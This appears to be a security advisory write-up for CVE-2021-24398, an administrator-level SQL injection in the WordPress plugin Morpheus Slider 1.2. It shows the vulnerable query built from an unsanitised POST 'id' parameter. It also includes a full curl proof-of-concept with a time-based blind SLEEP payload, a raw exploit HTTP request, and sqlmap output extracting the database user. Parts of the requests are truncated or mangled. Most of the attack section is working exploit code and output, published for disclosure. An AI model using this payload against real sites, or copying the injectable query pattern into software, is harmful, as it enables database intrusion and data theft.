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## Wp Plugin Morpheus Slider

### Plugin Details

Plugin Name: wp-plugin : morpheus-slider

Effected Version : 1.2 (and most probably lower version's if any)

Vulnerability : Injection

Minimum Level of Access Required : Administrator

CVE Number : CVE-2021-24398

Identified by : Syed Sheeraz Ali

WPScan Reference URL

### Disclosure Timeline

- May 9, 2021: Issue Identified and Disclosed to WPScan
- May 13, 2021 : Plugin Closed
- June 10, 2021 : CVE Assigned
- August 22, 2021 : Public Disclosure

## Technical Details

## Details

Vulnerable File: /init.php#983

Vulnerable Code block and parameter:

Administrator level SQLi for parameter id [init.php#983](#)

```
983:      $myrows = $wpdb->get_results( "SELECT * FROM $table_name WHERE id = ".$_POST['id'] );
-----
1211:      $myrows = $wpdb->get_results( "SELECT * FROM $table_name WHERE id = ".$_POST['id'] );
```

## PoC Screenshots

[illegible]

```
+ sqlmap-dev git:(master) # time curl -i -s -k -X $'POST' \
-H $'Host: 172.28.128.50' -H $'Content-Length: 1043' -H $'Cache-Control: max-age=0' -H $'Upgrade-Insecure-Requests: 1' -H $'Origin: http://172.28.128.50' -H $'Content-Type: application/x-www-form-urlencoded' -H $'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9' -H $'Accept-Encoding: gzip, deflate' -H $'Accept-Language: en-GB,en-US;q=0.9,en;q=0.8' -H $'Connection: close' \
-b $'wordpress_232395f24f6cff47569f2739c21385d6-admin%7C1620460502%7CijOCmlgmjMgoJK3UsTWIoIXicfoc1SikqZGRE8FzNFK7C3d7d033b8daf07dedf1e1a8dc76b6e1e8dcbafe4a0cc82e6746a6ac1573ac; wordpress_test_cookie=WP200cookie%20check; tk_at=wo0k3AiQV7GEvbuCedvp69Nb1N2BulE1; PHPSESSID=d8f8beced189cdd7cb840deddb8a8383; wordpress_logged_in_232395f24f6cff47569f2739c21385d6-admin%7C1620460502%7CijOCmlgmjMgoJK3UsTWIoIXicfoc1SikqZGRE8FzNFK7C3d7d033b8daf07dedf1e1a8dc76b6e1e8dcbafe4a0cc82e6746a6ac1573ac; wp-settings-time=1620304946' \
--data-binary $'operation=0&itemselect4=&order1=1&title=New scene&image1=&timage1=&video1=&beffect1=2&xeffect1=2&colorc1=easeInOutElastic&colorb1=FFFFFF&total=1&stitle4=New slider&width4=1200&height4=600&border4=10000&op44=10000&color34=4&op114=0&op64=FFFFFF&op74=858585&op124=50&op84=50&op104=50&op14=18&number_thumbnail_s4=4&op34=10&round4=60&op154=000000&op94=FFFFFF&theight4=168&twid4=5&size1=1&trueop134=0000000&tbodyborder4=FFFFFF&op144=1&font4=2&color14=0000000&color24=0.5&thumbnail_r_ound4=self&e0=swirl&fadeOutRotate&ancycor0=0&e1=slideDown&cor1=1&e2=swirl&fadeOutRotate&cor2=2&e3=fade&cor3=3&e4=box&fadeOutOriginalRotate&cor4=4&e5=slideUp&cor5=5&cor6=6&cor7=7&or8=8&cor9=9&cor10=10&cor11=11&cor12=12&cor13=13&cor14=14&cor15=15&cor16=16&cor17=17&cor18=18&cor19=19&cor20=20&cor21=21&cor22=22&cor23=23&cor24=24&cor25=25&cor26=26&cor27=27&cor28=28&cor29=29&cor30=30&cor31=31&cor32=32&cor33=33&cor34=34&cor35=35&cor36=36&cor37=37&cor38=38&cor39=39&cor40=40&cor41=41&cor42=42&cor43=43&cor44=44&cor45=45&cor46=46&cor47=47&id=4 AND (SELECT 4576 FROM (SELECT(SLEEP(15)))QUM)Xsubmit=Save Changes' \
-H $'http://172.28.128.50/wp-admin/options-general.php?page=morpheus'
HTTP/1.1 200 Continue

Server: nginx/1.18.0 (Ubuntu)
Date: Thu, 06 May 2021 12:58:55 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: close
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
X-Frame-Options: SAMEORIGIN
Referrer-Policy: strict-origin-when-cross-origin
Set-Cookie: wp-settings-1=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/
Set-Cookie: wp-settings-time=1620305935; expires=Fri, 06-May-2022 12:58:55 GMT; Max-Age=31536000; path=/
Content-Encoding: gzip

curl -i -s -k -X $'POST' -H $'Host: 172.28.128.50' -H $'Content-Length: 1043' 0.00s user 0.01s system 0% cpu 30.212 total
```

## Exploit

```
POST /wp-admin/options-general.php?page=morpheus HTTP/1.1
Host: 172.28.128.50
Content-Length: 1042
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://172.28.128.50
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-ex
Sec-GPC: 1
Referer: http://172.28.128.50/wp-admin/options-general.php?page=morpheus
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: wordpress_232395f24f6cff47569f2739c21385d6=admin%7C1620460502%7CijOCmlgmjMgoJK3UsTWIoIXicfoc1SikqZGRE8FzNFK7C3d7d033b
Connection: close

operation=0&itemselect4=&order1=1&title=New scene&image1=&timage1=&video1=&beffect1=2&xeffect1=2&colorc1=easeInOutElastic&colo
```

```
sqlmap identified the following injection point(s) with a total of 336 HTTP(s) requests:
---
Parameter: id (POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: operation=1&itemselect1=&total=-1&stitle1=New slider&width1=1200&height1=600&border1=10000&op41=10000&color31=4&op
---
[18:16:40] [INFO] the back-end DBMS is MySQL
[18:16:40] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent
web server operating system: Linux Ubuntu
web application technology: Nginx 1.18.0
back-end DBMS: MySQL >= 5.0.12
[18:16:40] [INFO] fetching current user
[18:16:40] [INFO] retrieved:
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] Y
[18:17:10] [INFO] adjusting time delay to 1 second due to good response times
bob@localhost
current user: 'bob@localhost'
```